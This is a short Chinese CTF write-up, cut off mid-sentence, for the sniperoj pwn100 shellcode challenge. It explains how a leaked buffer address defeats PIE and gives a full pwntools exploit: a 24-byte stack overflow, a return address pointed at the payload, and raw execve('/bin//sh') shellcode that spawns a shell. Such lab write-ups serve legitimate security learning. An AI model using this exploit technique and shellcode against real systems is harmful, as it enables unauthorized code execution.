Pwn的做题记录:
来自两届BJD都被暴打的彩笔总结(第一届还没学导致pwn爆零,第二届才学两天导致只做出一道pwnQAQ)
sniperoj-pwn100-shellcode的wp :
因为开启了PIE所以,地址在变化(断点什么的基本不可以设置地址了)但通过printf("Do your kown what is it : [%p] ?\n", &buf, 0LL, 0LL);
我们便知道了buf的地址,相对应的,我们就取得了栈的地址,就可以通过覆盖让ip指向我们的shellcode啦~
exp如下:
#!/usr/bin/env python
from pwn import *
context.log_level='debug'
s=process('/home/thu1e/Desktop/shellcode')
s.recvuntil('[')`` ``addr=s.recvuntil(']',drop=True)
address=int(addr,16)+24+8
payload=('a'*24+p64(address)+"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05")
s.sendline(payload)
s.interactive()
因为之前计算出位移为24字节(填充垃圾栈的大小+